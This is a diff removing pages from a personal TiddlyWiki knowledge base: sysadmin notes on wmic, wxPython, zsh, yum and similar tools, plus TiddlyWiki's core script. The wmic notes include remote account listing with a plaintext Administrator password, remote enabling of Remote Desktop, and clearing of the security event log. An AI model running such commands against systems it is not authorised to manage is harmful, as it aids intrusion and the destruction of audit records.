-wmic /user:&quot;lab\Administrator&quot; /password:&quot;letmein&quot; /node:@&quot;pclist.txt&quot; useraccount list full #or /node:&quot;192.168.1.1&quot;
-}}}
-!! Remote Desktop
-{{{
-wmic /node:&quot;servername&quot; RDtoggle where servername=&quot;servername&quot; get AllowTSConnections #check for remote desktop
-wmic /node:&quot;servername&quot; RDToggle&quot; where servername=&quot;servername&quot; call SetAllowTSConnections 1
-wmic /node:servername path Win32_terminaleServiceSetting where AllowTSConnections=0 call SetAllowTSConnections 1
-}}}
-! Logging
-{{{
-wmic nteventlog list brief
-wmic nteventlog where &quot;Logfilename = 'System'&quot; Call BackupEventLog &quot;eventlog.evt&quot;
-wmic nteventlog where &quot;logfilename = 'security'&quot; call cleareventlog
-
-}}}
-! misc
-{{{
-wmic qfe #quick fix engineering
-wmic startup list full #show all the files loaded
-wmic /output:os.html os get /format:hform # get os intel in html format
-}}}</pre>
-</div>
-<div title="wxPython" modifier="Felix" created="201103020023" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201103020023">
-<pre>! Basics
-{{{
-#!/usr/bin/python2
-import wx
-class MainFrame(wx.Frame):
- def __init__(self,parent,title):
- wx.Frame.__init__(self,parent,title=title,size=(200,100))
- self.control = wx.TextCtrl(self,style=wx.TE_MULTILINE)
- self.CreateStatusBar()
-
- filemenu = wx.Menu()
-
- menuAbout = filemenu.Append(wx.ID_ABOUT,&quot;&amp;About&quot;,&quot;About this program&quot;)
-
- menuExit = filemenu.Append(wx.ID_EXIT,&quot;E&amp;xit&quot;,&quot;Terminate&quot;)
-
- menuBar = wx.MenuBar()
- menuBar.Append(filemenu,&quot;&amp;File&quot;)
- self.SetMenuBar(menuBar)
-
- self.Bind(wx.EVT_MENU,self.OnAbout,menuAbout)
- self.Bind(wx.EVT_MENU,self.OnExit,menuExit)
- self.Show(True)
- def OnAbout(self,e):
- dlg = wx.MessageDialog(self,&quot;Small Text editor&quot;, &quot;about Sample&quot;,
- wx.OK)
- dlg.ShowModal()
- dlg.Destroy()
- def OnExit(self,e):
- self.Close(True)
-
-app = wx.App(False)
-frame = MainFrame(None,&quot;Hello World&quot;)
-app.MainLoop()
-}}}</pre>
-</div>
-<div title="xbmc" modifier="makefu" created="201307152000" modified="201307152002" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201307152002">
-<pre>! run script
-RunScript(script.xxx) or RunAddon(addon.xxx)
-{{{
-xbmc-send -a 'RunScript(script.games.rom.collection.browser)'
-xbmc-send -a &quot;Notification(Hey,Hey there this is a message)&quot;
-}}}</pre>
-</div>
-<div title="xdg-open" modifier="Felix" created="201101311706" modified="201103302219" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201103302219">
-<pre>chromium will use xdg-open to open files.
-When perl-file-mimeinfo is installed, xdg-open will use mimeopen.
-
-{{{
-mimeopen -d
-}}}
-will let you choose which tool to use for opening the file
-
-!config path
-it can also be configured either in
-{{{/usr/share/applications/defaults.list }}}
-or
-{{{~/.local/share/applications/defaults.list}}}
-</pre>
-</div>
-<div title="xev" modifier="Felix" created="201103280025" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201103280025">
-<pre>debug and test x11 input (find the current keysyms, keycodes, everythin)
-great to remap buttons with [[xmodmap]]</pre>
-</div>
-<div title="xorg.conf" modifier="makefu" created="201307151815" modified="201307151851" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201307151851">
-<pre>! Disable Standby
-in xorg.conf
-{{{
-Section &quot;ServerFlags&quot;
-Option &quot;BlankTime&quot; &quot;0&quot;
-Option &quot;StandbyTime&quot; &quot;0&quot;
-Option &quot;SuspendTime&quot; &quot;0&quot;
-Option &quot;OffTime&quot; &quot;0&quot;
-EndSection
-}}}</pre>
-</div>
-<div title="xpra" modifier="makefu" created="201307101113" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201307101113">
-<pre>! Installation
-!! Ubuntu
-{{{
-echo &quot;deb http://winswitch.org/ precise main&quot; | sudo tee /etc/apt/sources.list.d/winswitch.list
-curl http://winswitch.org/gpg.asc | sudo apt-key add -
-sudo aptitude update
-sudo aptitude install winswitch
-}}}</pre>
-</div>
-<div title="yum" modifier="makefu" created="201103291537" modified="201310091359" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201104122304" changecount="1">
-<pre>also see [[rpm]]
-!Create local Repository
-choose from os/updates and x86_64/i386 and version 5/5.1/5.2 ...
-{{{
-rsync -avrt ftp-stud.fht-esslingen.de::centos/5/os/x86_64 5/os/
-}}}
-! Repository from DVD
-http://wiki.centos.org/HowTos/CreateLocalRepos
-1. Copy all files from the DVD
-{{{
-mount /dev/cdrom /mnt
-cp -rv /mnt/CentOS /mnt/repodata /var/www/html/centos/5/os/x86_64/
-umount /mnt
-}}}
-2. create a local.repo file and save it into the /etc/yum.repos.d directory:
-{{{
-[local]
-name=CentOS-$releasever – local packages for $basearch
-baseurl=file:///path/to/centos/$releasever/local/$basearch
-enabled=1
-gpgcheck=0
-protect=1
-}}}
-3. use createrepo script for custom rpms (non-cd non-default)
-{{{
-createrepo /var/www/html/centos/5/local/x86_64
-}}}</pre>
-</div>
-<div title="zsh" modifier="Felix" created="201102130345" modified="201104031727" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201104031727">
-<pre>in {{{~/.zshrc}}}
-{{{
- # bindkey -v # vi mode
-bindkey -e # emacs mode
-&lt;C-A&gt; - Beginning of line
-&lt;C-E&gt; - End of line
-}}}
-!coloring
-{{{
-autoload colors; colors
-export PS1=&quot;%{$fg[green]%}[%{$reset_color%}%n@%m %~%{$fg[green]%}]%{$reset_color%}$ &quot; # colorizes the brackets
-}}}
-! Change default shell
-{{{
-chsh -s /bin/zsh
-}}}
-! Oh my zsh
-more at {{{https://github.com/robbyrussell/oh-my-zsh}}}
-{{{
-git clone git://github.com/robbyrussell/oh-my-zsh.git ~/.oh-my-zsh
-cp ~/.zshrc ~/.zshrc.orig # will need to rewrite it anyway
-cp ~/.oh-my-zsh/templates/zshrc.zsh-template ~/.zshrc
-}}}
-in new .zshrc
-{{{
-export ZSH=$HOME/.oh-my-zsh
-export ZSH_THEME=&quot;gallifrey&quot; #or fishy
-plugins=(git ssh-agent)
-# and all the other stuff
-test -r ~/Dropbox/shared_shell &amp;&amp; source ~/Dropbox/shared_shell
-}}}
-!! uninstall ohmyzsh
-{{{
-uninstall_oh_my_zsh
-}}}
-! Bookmarks
-{{{
-# From https://gist.github.com/835905
-# Original code for bash from:
-# http://www.huyng.com/archives/quick-bash-tip-directory-bookmarks/492/
-
-# Zsh Directory Bookmarks
-alias m1='alias g1=&quot;cd `pwd`&quot;'
-alias m2='alias g2=&quot;cd `pwd`&quot;'
-alias m3='alias g3=&quot;cd `pwd`&quot;'
-alias m4='alias g4=&quot;cd `pwd`&quot;'
-alias m5='alias g5=&quot;cd `pwd`&quot;'
-alias m6='alias g6=&quot;cd `pwd`&quot;'
-alias m7='alias g7=&quot;cd `pwd`&quot;'
-alias m8='alias g8=&quot;cd `pwd`&quot;'
-alias m9='alias g9=&quot;cd `pwd`&quot;'
-alias mdump='alias -L|grep -e &quot;alias g[0-9]&quot;|grep -v &quot;alias m&quot; &gt; ~/.bookmarks'
-alias lma='alias -L|grep -e &quot;alias g[0-9]&quot;|grep -v &quot;alias m&quot;|sed &quot;s/alias //&quot;'
-touch ~/.bookmarks
-source ~/.bookmarks
-}}}
-
-</pre>
-</div>
-</div>
-<!--POST-STOREAREA-->
-<!--POST-BODY-START-->
-
-<!--POST-BODY-END-->
-<script id="jsArea" type="text/javascript">
-//<![CDATA[
-
-//
-// Please note:
-//
-// * This code is designed to be readable but for compactness it only includes brief comments. You can see fuller comments
-// in the project repository at https://github.com/TiddlyWiki/tiddlywiki
-//
-// * You should never need to modify this source code directly. TiddlyWiki is carefully designed to allow deep customisation
-// without changing the core code. Please consult the development group at http://groups.google.com/group/TiddlyWikiDev
-//
-// JSLint directives
-/*global jQuery:false, version:false */
-/*jslint bitwise:true, browser:true, confusion:true, eqeq:true, evil:true, forin:true, maxerr:100, plusplus:true, regexp:true, sloppy:true, sub:true, undef:true, unparam:true, vars:true, white:true */
-//--
-//-- Configuration repository
-//--
-
-// Miscellaneous options
-var config = {
- numRssItems: 20, // Number of items in the RSS feed
- animDuration: 400, // Duration of UI animations in milliseconds
- cascadeFast: 20, // Speed for cascade animations (higher == slower)
- cascadeSlow: 60, // Speed for EasterEgg cascade animations
- cascadeDepth: 5, // Depth of cascade animation
- locale: "en" // W3C language tag
-};
-
-// Hashmap of alternative parsers for the wikifier
-config.parsers = {};
-
-// Adaptors
-config.adaptors = {};
-config.defaultAdaptor = null;
-
-// Backstage tasks
-config.tasks = {};
-
-// Annotations
-config.annotations = {};
-
-// Custom fields to be automatically added to new tiddlers
-config.defaultCustomFields = {};
-
-// Messages
-config.messages = {
- messageClose: {},
- dates: {},
- tiddlerPopup: {}
-};
-
-// Options that can be set in the options panel and/or cookies
-config.options = {
- chkRegExpSearch: false,
- chkCaseSensitiveSearch: false,
- chkIncrementalSearch: true,
- chkAnimate: true,
- chkSaveBackups: true,
- chkAutoSave: false,
- chkGenerateAnRssFeed: true,
- chkSaveEmptyTemplate: false,
- chkOpenInNewWindow: true,
- chkToggleLinks: false,
- chkHttpReadOnly: true,
- chkForceMinorUpdate: false,
- chkConfirmDelete: true,
- chkInsertTabs: false,
- chkUsePreForStorage: true, // Whether to use <pre> format for storage
- chkDisplayInstrumentation: false,
- txtBackupFolder: "",
- txtEditorFocus: "text",
- txtMainTab: "tabTimeline",
- txtMoreTab: "moreTabAll",
- txtMaxEditRows: "30",
- txtFileSystemCharSet: "UTF-8",
- txtTheme: ""
- };
-config.optionsDesc = {};
-
-config.optionsSource = {};
-
-// Default tiddler templates
-var DEFAULT_VIEW_TEMPLATE = 1;
-var DEFAULT_EDIT_TEMPLATE = 2;
-config.tiddlerTemplates = {
- 1: "ViewTemplate",
- 2: "EditTemplate"
-};
-
-// More messages (rather a legacy layout that should not really be like this)
-config.views = {
- wikified: {
- tag: {}
- },
- editor: {
- tagChooser: {}
- }
-};
-
-// Backstage tasks
-config.backstageTasks = ["save","importTask","tweak","upgrade","plugins"];
-
-// Extensions
-config.extensions = {};
-
-// Macros; each has a 'handler' member that is inserted later
-config.macros = {
- today: {},
- version: {},
- search: {sizeTextbox: 15},
- tiddler: {},
- tag: {},
- tags: {},
- tagging: {},
- timeline: {},
- allTags: {},
- list: {
- all: {},
- missing: {},
- orphans: {},
- shadowed: {},
- touched: {},
- filter: {}
- },
- closeAll: {},
- permaview: {},
- saveChanges: {},
- slider: {},
- option: {},
- options: {},
- newTiddler: {},
- newJournal: {},
- tabs: {},
- gradient: {},
- message: {},
- view: {defaultView: "text"},
- edit: {},
- tagChooser: {},
- toolbar: {},
- plugins: {},
- refreshDisplay: {},
- importTiddlers: {},
- upgrade: {
- source: "http://tiddlywiki-releases.tiddlyspace.com/upgrade",
- backupExtension: "pre.core.upgrade"
- },
- sync: {},
- annotations: {}
-};
-
-// Commands supported by the toolbar macro
-config.commands = {
- closeTiddler: {},
- closeOthers: {},
- editTiddler: {},
- saveTiddler: {hideReadOnly: true},
- cancelTiddler: {},
- deleteTiddler: {hideReadOnly: true},
- permalink: {},
- references: {type: "popup"},
- jump: {type: "popup"},
- syncing: {type: "popup"},
- fields: {type: "popup"}
-};
-
-// Control of macro parameter evaluation
-config.evaluateMacroParameters = "all";
-
-// Basic regular expressions
-config.textPrimitives = {
- upperLetter: "[A-Z\u00c0-\u00de\u0150\u0170]",
- lowerLetter: "[a-z0-9_\\-\u00df-\u00ff\u0151\u0171]",
- anyLetter: "[A-Za-z0-9_\\-\u00c0-\u00de\u00df-\u00ff\u0150\u0170\u0151\u0171]",
- anyLetterStrict: "[A-Za-z0-9\u00c0-\u00de\u00df-\u00ff\u0150\u0170\u0151\u0171]"
-};
-if(!((new RegExp("[\u0150\u0170]","g")).test("\u0150"))) {
- config.textPrimitives = {
- upperLetter: "[A-Z\u00c0-\u00de]",
- lowerLetter: "[a-z0-9_\\-\u00df-\u00ff]",
- anyLetter: "[A-Za-z0-9_\\-\u00c0-\u00de\u00df-\u00ff]",
- anyLetterStrict: "[A-Za-z0-9\u00c0-\u00de\u00df-\u00ff]"
- };
-}
-config.textPrimitives.sliceSeparator = "::";
-config.textPrimitives.sectionSeparator = "##";
-config.textPrimitives.urlPattern = "(?:file|http|https|mailto|ftp|irc|news|data):[^\\s'\"]+(?:/|\\b)";
-config.textPrimitives.unWikiLink = "~";
-config.textPrimitives.wikiLink = "(?:(?:" + config.textPrimitives.upperLetter + "+" +
- config.textPrimitives.lowerLetter + "+" +
- config.textPrimitives.upperLetter +
- config.textPrimitives.anyLetter + "*)|(?:" +
- config.textPrimitives.upperLetter + "{2,}" +
- config.textPrimitives.lowerLetter + "+))";
-
-config.textPrimitives.cssLookahead = "(?:(" + config.textPrimitives.anyLetter + "+)\\(([^\\)\\|\\n]+)(?:\\):))|(?:(" + config.textPrimitives.anyLetter + "+):([^;\\|\\n]+);)";
-config.textPrimitives.cssLookaheadRegExp = new RegExp(config.textPrimitives.cssLookahead,"mg");
-
-config.textPrimitives.brackettedLink = "\\[\\[([^\\]]+)\\]\\]";
-config.textPrimitives.titledBrackettedLink = "\\[\\[([^\\[\\]\\|]+)\\|([^\\[\\]\\|]+)\\]\\]";
-config.textPrimitives.tiddlerForcedLinkRegExp = new RegExp("(?:" + config.textPrimitives.titledBrackettedLink + ")|(?:" +
- config.textPrimitives.brackettedLink + ")|(?:" +
- config.textPrimitives.urlPattern + ")","mg");
-config.textPrimitives.tiddlerAnyLinkRegExp = new RegExp("("+ config.textPrimitives.wikiLink + ")|(?:" +
- config.textPrimitives.titledBrackettedLink + ")|(?:" +
- config.textPrimitives.brackettedLink + ")|(?:" +
- config.textPrimitives.urlPattern + ")","mg");
-
-config.glyphs = {
- currBrowser: null,
- browsers: [],
- codes: {}
-};
-
-//--
-//-- Shadow tiddlers
-//--
-
-config.shadowTiddlers = {
- StyleSheet: "",
- MarkupPreHead: "",
- MarkupPostHead: "",
- MarkupPreBody: "",
- MarkupPostBody: "",
- TabTimeline: '<<timeline>>',
- TabAll: '<<list all>>',
- TabTags: '<<allTags excludeLists>>',
- TabMoreMissing: '<<list missing>>',
- TabMoreOrphans: '<<list orphans>>',
- TabMoreShadowed: '<<list shadowed>>',
- AdvancedOptions: '<<options>>',
- PluginManager: '<<plugins>>',
- SystemSettings: '',
- ToolbarCommands: '|~ViewToolbar|closeTiddler closeOthers +editTiddler > fields syncing permalink references jump|\n|~EditToolbar|+saveTiddler -cancelTiddler deleteTiddler|',
- WindowTitle: '<<tiddler SiteTitle>> - <<tiddler SiteSubtitle>>'
-};
-
-// Browser detection... In a very few places, there's nothing else for it but to know what browser we're using.
-config.userAgent = navigator.userAgent.toLowerCase();
-config.browser = {
- isIE: config.userAgent.indexOf("msie") != -1 && config.userAgent.indexOf("opera") == -1,
- isGecko: navigator.product == "Gecko" && config.userAgent.indexOf("WebKit") == -1,
- ieVersion: /MSIE (\d{1,2}.\d)/i.exec(config.userAgent), // config.browser.ieVersion[1], if it exists, will be the IE version string, eg "6.0"
- isSafari: config.userAgent.indexOf("applewebkit") != -1,
- isBadSafari: !((new RegExp("[\u0150\u0170]","g")).test("\u0150")),
- firefoxDate: /gecko\/(\d{8})/i.exec(config.userAgent), // config.browser.firefoxDate[1], if it exists, will be Firefox release date as "YYYYMMDD"
- isOpera: config.userAgent.indexOf("opera") != -1,
- isChrome: config.userAgent.indexOf('chrome') > -1,
- isLinux: config.userAgent.indexOf("linux") != -1,
- isUnix: config.userAgent.indexOf("x11") != -1,
- isMac: config.userAgent.indexOf("mac") != -1,
- isWindows: config.userAgent.indexOf("win") != -1
-};
-
-merge(config.glyphs,{
- browsers: [
- function() {return config.browser.isIE;},
- function() {return true;}
- ],
- codes: {
- downTriangle: ["\u25BC","\u25BE"],
- downArrow: ["\u2193","\u2193"],
- bentArrowLeft: ["\u2190","\u21A9"],
- bentArrowRight: ["\u2192","\u21AA"]
- }
-});
-
-//--
-//-- Translateable strings
-//--
-
-// Strings in "double quotes" should be translated; strings in 'single quotes' should be left alone
-
-merge(config.options,{
- txtUserName: "makefu"});
-
-merge(config.tasks,{
- save: {text: "save", tooltip: "Save your changes to this TiddlyWiki"},
- importTask: {text: "import", tooltip: "Import tiddlers and plugins from other TiddlyWiki files and servers", content: '<<importTiddlers>>'},
- tweak: {text: "tweak", tooltip: "Tweak the appearance and behaviour of TiddlyWiki", content: '<<options>>'},
- upgrade: {text: "upgrade", tooltip: "Upgrade TiddlyWiki core code", content: '<<upgrade>>'},
- plugins: {text: "plugins", tooltip: "Manage installed plugins", content: '<<plugins>>'}
-});
-
-// Options that can be set in the options panel and/or cookies
-merge(config.optionsDesc,{
- txtUserName: "Username for signing your edits",
- chkRegExpSearch: "Enable regular expressions for searches",
- chkCaseSensitiveSearch: "Case-sensitive searching",
- chkIncrementalSearch: "Incremental key-by-key searching",
- chkAnimate: "Enable animations",
- chkSaveBackups: "Keep backup file when saving changes",
- chkAutoSave: "Automatically save changes",
- chkGenerateAnRssFeed: "Generate an RSS feed when saving changes",
- chkSaveEmptyTemplate: "Generate an empty template when saving changes",
- chkOpenInNewWindow: "Open external links in a new window",
- chkToggleLinks: "Clicking on links to open tiddlers causes them to close",
- chkHttpReadOnly: "Hide editing features when viewed over HTTP",
- chkForceMinorUpdate: "Don't update modifier username and date when editing tiddlers",
- chkConfirmDelete: "Require confirmation before deleting tiddlers",
- chkInsertTabs: "Use the tab key to insert tab characters instead of moving between fields",
- txtBackupFolder: "Name of folder to use for backups",
- txtMaxEditRows: "Maximum number of rows in edit boxes",
- txtTheme: "Name of the theme to use",
- txtFileSystemCharSet: "Default character set for saving changes (Firefox/Mozilla only)"});
-
-merge(config.messages,{
- customConfigError: "Problems were encountered loading plugins. See PluginManager for details",
- pluginError: "Error: %0",
- pluginDisabled: "Not executed because disabled via 'systemConfigDisable' tag",
- pluginForced: "Executed because forced via 'systemConfigForce' tag",
- pluginVersionError: "Not executed because this plugin needs a newer version of TiddlyWiki",
- nothingSelected: "Nothing is selected. You must select one or more items first",
- savedSnapshotError: "It appears that this TiddlyWiki has been incorrectly saved. Please see http://www.tiddlywiki.com/#Download for details",
- subtitleUnknown: "(unknown)",
- undefinedTiddlerToolTip: "The tiddler '%0' doesn't yet exist",
- shadowedTiddlerToolTip: "The tiddler '%0' doesn't yet exist, but has a pre-defined shadow value",
- tiddlerLinkTooltip: "%0 - %1, %2",
- externalLinkTooltip: "External link to %0",
- noTags: "There are no tagged tiddlers",
- notFileUrlError: "You need to save this TiddlyWiki to a file before you can save changes",
- cantSaveError: "It's not possible to save changes. Possible reasons include:\n- your browser doesn't support saving (Firefox, Internet Explorer, Safari and Opera all work if properly configured)\n- the pathname to your TiddlyWiki file contains illegal characters\n- the TiddlyWiki HTML file has been moved or renamed",
- invalidFileError: "The original file '%0' does not appear to be a valid TiddlyWiki",
- backupSaved: "Backup saved",
- backupFailed: "Failed to save backup file",
- rssSaved: "RSS feed saved",
- rssFailed: "Failed to save RSS feed file",
- emptySaved: "Empty template saved",
- emptyFailed: "Failed to save empty template file",
- mainSaved: "Main TiddlyWiki file saved",
- mainDownload: "Downloading/saving main TiddlyWiki file",
- mainDownloadManual: "RIGHT CLICK HERE to download/save main TiddlyWiki file",
- mainFailed: "Failed to save main TiddlyWiki file. Your changes have not been saved",
- macroError: "Error in macro <<%0>>",
- macroErrorDetails: "Error while executing macro <<%0>>:\n%1",
- missingMacro: "No such macro",
- overwriteWarning: "A tiddler named '%0' already exists. Choose OK to overwrite it",
- unsavedChangesWarning: "WARNING! There are unsaved changes in TiddlyWiki\n\nChoose OK to save\nChoose CANCEL to discard",
- confirmExit: "--------------------------------\n\nThere are unsaved changes in TiddlyWiki. If you continue you will lose those changes\n\n--------------------------------",
- saveInstructions: "SaveChanges",
- unsupportedTWFormat: "Unsupported TiddlyWiki format '%0'",
- tiddlerSaveError: "Error when saving tiddler '%0'",
- tiddlerLoadError: "Error when loading tiddler '%0'",
- wrongSaveFormat: "Cannot save with storage format '%0'. Using standard format for save.",
- invalidFieldName: "Invalid field name %0",
- fieldCannotBeChanged: "Field '%0' cannot be changed",
- loadingMissingTiddler: "Attempting to retrieve the tiddler '%0' from the '%1' server at:\n\n'%2' in the workspace '%3'",
- upgradeDone: "The upgrade to version %0 is now complete\n\nClick 'OK' to reload the newly upgraded TiddlyWiki",
- invalidCookie: "Invalid cookie '%0'"});
-
-merge(config.messages.messageClose,{
- text: "close",
- tooltip: "close this message area"});
-
-config.messages.backstage = {
- open: {text: "backstage", tooltip: "Open the backstage area to perform authoring and editing tasks"},
- close: {text: "close", tooltip: "Close the backstage area"},
- prompt: "backstage: ",
- decal: {
- edit: {text: "edit", tooltip: "Edit the tiddler '%0'"}
- }
-};
-
-config.messages.listView = {
- tiddlerTooltip: "Click for the full text of this tiddler",
- previewUnavailable: "(preview not available)"
-};
-
-config.messages.dates.months = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November","December"];
-config.messages.dates.days = ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"];
-config.messages.dates.shortMonths = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"];
-config.messages.dates.shortDays = ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"];
-// suffixes for dates, eg "1st","2nd","3rd"..."30th","31st"
-config.messages.dates.daySuffixes = ["st","nd","rd","th","th","th","th","th","th","th",
- "th","th","th","th","th","th","th","th","th","th",
- "st","nd","rd","th","th","th","th","th","th","th",
- "st"];
-config.messages.dates.am = "am";
-config.messages.dates.pm = "pm";
-
-merge(config.messages.tiddlerPopup,{
- });
-
-merge(config.views.wikified.tag,{
- labelNoTags: "no tags",
- labelTags: "tags: ",
- openTag: "Open tag '%0'",
- tooltip: "Show tiddlers tagged with '%0'",
- openAllText: "Open all",
- openAllTooltip: "Open all of these tiddlers",
- popupNone: "No other tiddlers tagged with '%0'"});
-
-merge(config.views.wikified,{
- defaultText: "The tiddler '%0' doesn't yet exist. Double-click to create it",
- defaultModifier: "(missing)",
- shadowModifier: "(built-in shadow tiddler)",
- dateFormat: "DD MMM YYYY",
- createdPrompt: "created"});
-
-merge(config.views.editor,{
- tagPrompt: "Type tags separated with spaces, [[use double square brackets]] if necessary, or add existing",
- defaultText: "Type the text for '%0'"});
-
-merge(config.views.editor.tagChooser,{
- text: "tags",
- tooltip: "Choose existing tags to add to this tiddler",
- popupNone: "There are no tags defined",
- tagTooltip: "Add the tag '%0'"});
-
-merge(config.messages,{
- sizeTemplates:
- [
- {unit: 1024*1024*1024, template: "%0\u00a0GB"},
- {unit: 1024*1024, template: "%0\u00a0MB"},
- {unit: 1024, template: "%0\u00a0KB"},
- {unit: 1, template: "%0\u00a0B"}
- ]});
-
-merge(config.macros.search,{
- label: "search",
- prompt: "Search this TiddlyWiki",
- placeholder: "",
- accessKey: "F",
- successMsg: "%0 tiddlers found matching %1",
- failureMsg: "No tiddlers found matching %0"});
-
-merge(config.macros.tagging,{
- label: "tagging: ",
- labelNotTag: "not tagging",
- tooltip: "List of tiddlers tagged with '%0'"});
-
-merge(config.macros.timeline,{
- dateFormat: "DD MMM YYYY"});
-
-merge(config.macros.allTags,{
- tooltip: "Show tiddlers tagged with '%0'",
- noTags: "There are no tagged tiddlers"});
-
-config.macros.list.all.prompt = "All tiddlers in alphabetical order";
-config.macros.list.missing.prompt = "Tiddlers that have links to them but are not defined";
-config.macros.list.orphans.prompt = "Tiddlers that are not linked to from any other tiddlers";
-config.macros.list.shadowed.prompt = "Tiddlers shadowed with default contents";
-config.macros.list.touched.prompt = "Tiddlers that have been modified locally";
-
-merge(config.macros.closeAll,{
- label: "close all",
- prompt: "Close all displayed tiddlers (except any that are being edited)"});
-
-merge(config.macros.permaview,{
- label: "permaview",
- prompt: "Link to an URL that retrieves all the currently displayed tiddlers"});
-
-merge(config.macros.saveChanges,{
- label: "save changes",
- prompt: "Save all tiddlers to create a new TiddlyWiki",
- accessKey: "S"});
-
-merge(config.macros.newTiddler,{
- label: "new tiddler",
- prompt: "Create a new tiddler",
- title: "New Tiddler",
- accessKey: "N"});
-
-merge(config.macros.newJournal,{
- label: "new journal",
- prompt: "Create a new tiddler from the current date and time",
- accessKey: "J"});
-
-merge(config.macros.options,{
- wizardTitle: "Tweak advanced options",
- step1Title: "These options are saved in cookies in your browser",
- step1Html: "<input type='hidden' name='markList'></input><br><input type='checkbox' checked='false' name='chkUnknown'>Show unknown options</input>",
- unknownDescription: "//(unknown)//",
- listViewTemplate: {
- columns: [
- {name: 'Option', field: 'option', title: "Option", type: 'String'},
- {name: 'Description', field: 'description', title: "Description", type: 'WikiText'},
- {name: 'Name', field: 'name', title: "Name", type: 'String'}
- ],
- rowClasses: [
- {className: 'lowlight', field: 'lowlight'}
- ]}
- });
-
-merge(config.macros.plugins,{
- wizardTitle: "Manage plugins",
- step1Title: "Currently loaded plugins",
- step1Html: "<input type='hidden' name='markList'></input>", // DO NOT TRANSLATE
- skippedText: "(This plugin has not been executed because it was added since startup)",
- noPluginText: "There are no plugins installed",
- confirmDeleteText: "Are you sure you want to delete these plugins:\n\n%0",
- removeLabel: "remove systemConfig tag",
- removePrompt: "Remove systemConfig tag",
- deleteLabel: "delete",
- deletePrompt: "Delete these tiddlers forever",
- listViewTemplate: {
- columns: [
- {name: 'Selected', field: 'Selected', rowName: 'title', type: 'Selector'},
- {name: 'Tiddler', field: 'tiddler', title: "Tiddler", type: 'Tiddler'},
- {name: 'Description', field: 'Description', title: "Description", type: 'String'},
- {name: 'Version', field: 'Version', title: "Version", type: 'String'},
- {name: 'Size', field: 'size', tiddlerLink: 'size', title: "Size", type: 'Size'},
- {name: 'Forced', field: 'forced', title: "Forced", tag: 'systemConfigForce', type: 'TagCheckbox'},
- {name: 'Disabled', field: 'disabled', title: "Disabled", tag: 'systemConfigDisable', type: 'TagCheckbox'},
- {name: 'Executed', field: 'executed', title: "Loaded", type: 'Boolean', trueText: "Yes", falseText: "No"},
- {name: 'Startup Time', field: 'startupTime', title: "Startup Time", type: 'String'},
- {name: 'Error', field: 'error', title: "Status", type: 'Boolean', trueText: "Error", falseText: "OK"},
- {name: 'Log', field: 'log', title: "Log", type: 'StringList'}
- ],
- rowClasses: [
- {className: 'error', field: 'error'},
- {className: 'warning', field: 'warning'}
- ]},
- listViewTemplateReadOnly: {
- columns: [
- {name: 'Tiddler', field: 'tiddler', title: "Tiddler", type: 'Tiddler'},
- {name: 'Description', field: 'Description', title: "Description", type: 'String'},
- {name: 'Version', field: 'Version', title: "Version", type: 'String'},
- {name: 'Size', field: 'size', tiddlerLink: 'size', title: "Size", type: 'Size'},
- {name: 'Executed', field: 'executed', title: "Loaded", type: 'Boolean', trueText: "Yes", falseText: "No"},
- {name: 'Startup Time', field: 'startupTime', title: "Startup Time", type: 'String'},
- {name: 'Error', field: 'error', title: "Status", type: 'Boolean', trueText: "Error", falseText: "OK"},
- {name: 'Log', field: 'log', title: "Log", type: 'StringList'}
- ],
- rowClasses: [
- {className: 'error', field: 'error'},
- {className: 'warning', field: 'warning'}
- ]}
- });
-
-merge(config.macros.toolbar,{
- moreLabel: "more",
- morePrompt: "Show additional commands",
- lessLabel: "less",
- lessPrompt: "Hide additional commands",
- separator: "|"
- });
-
-merge(config.macros.refreshDisplay,{
- label: "refresh",
- prompt: "Redraw the entire TiddlyWiki display"
- });
-
-merge(config.macros.importTiddlers,{
- readOnlyWarning: "You cannot import into a read-only TiddlyWiki file. Try opening it from a file:// URL",
- wizardTitle: "Import tiddlers from another file or server",
- step1Title: "Step 1: Locate the server or TiddlyWiki file",
- step1Html: "Specify the type of the server: <select name='selTypes'><option value=''>Choose...</option></select><br>Enter the URL or pathname here: <input type='text' size=50 name='txtPath'><br>...or browse for a file: <input type='file' size=50 name='txtBrowse'><br><hr>...or select a pre-defined feed: <select name='selFeeds'><option value=''>Choose...</option></select>",
- openLabel: "open",
- openPrompt: "Open the connection to this file or server",
- statusOpenHost: "Opening the host",
- statusGetWorkspaceList: "Getting the list of available workspaces",
- step2Title: "Step 2: Choose the workspace",
- step2Html: "Enter a workspace name: <input type='text' size=50 name='txtWorkspace'><br>...or select a workspace: <select name='selWorkspace'><option value=''>Choose...</option></select>",
- cancelLabel: "cancel",
- cancelPrompt: "Cancel this import",
- statusOpenWorkspace: "Opening the workspace",
- statusGetTiddlerList: "Getting the list of available tiddlers",
- errorGettingTiddlerList: "Error getting list of tiddlers, click Cancel to try again",
- errorGettingTiddlerListHttp404: "Error retrieving tiddlers from url, please ensure the url exists. Click Cancel to try again.",
- errorGettingTiddlerListHttp: "Error retrieving tiddlers from url, please ensure this url exists and is <a href='http://enable-cors.org/'>CORS</a> enabled",
- errorGettingTiddlerListFile: "Error retrieving tiddlers from local file, please make sure the file is in the same directory as your TiddlyWiki. Click Cancel to try again.",
- step3Title: "Step 3: Choose the tiddlers to import",
- step3Html: "<input type='hidden' name='markList'></input><br><input type='checkbox' checked='true' name='chkSync'>Keep these tiddlers linked to this server so that you can synchronise subsequent changes</input><br><input type='checkbox' name='chkSave'>Save the details of this server in a 'systemServer' tiddler called:</input> <input type='text' size=25 name='txtSaveTiddler'>",
- importLabel: "import",
- importPrompt: "Import these tiddlers",
- confirmOverwriteText: "Are you sure you want to overwrite these tiddlers:\n\n%0",
- step4Title: "Step 4: Importing %0 tiddler(s)",
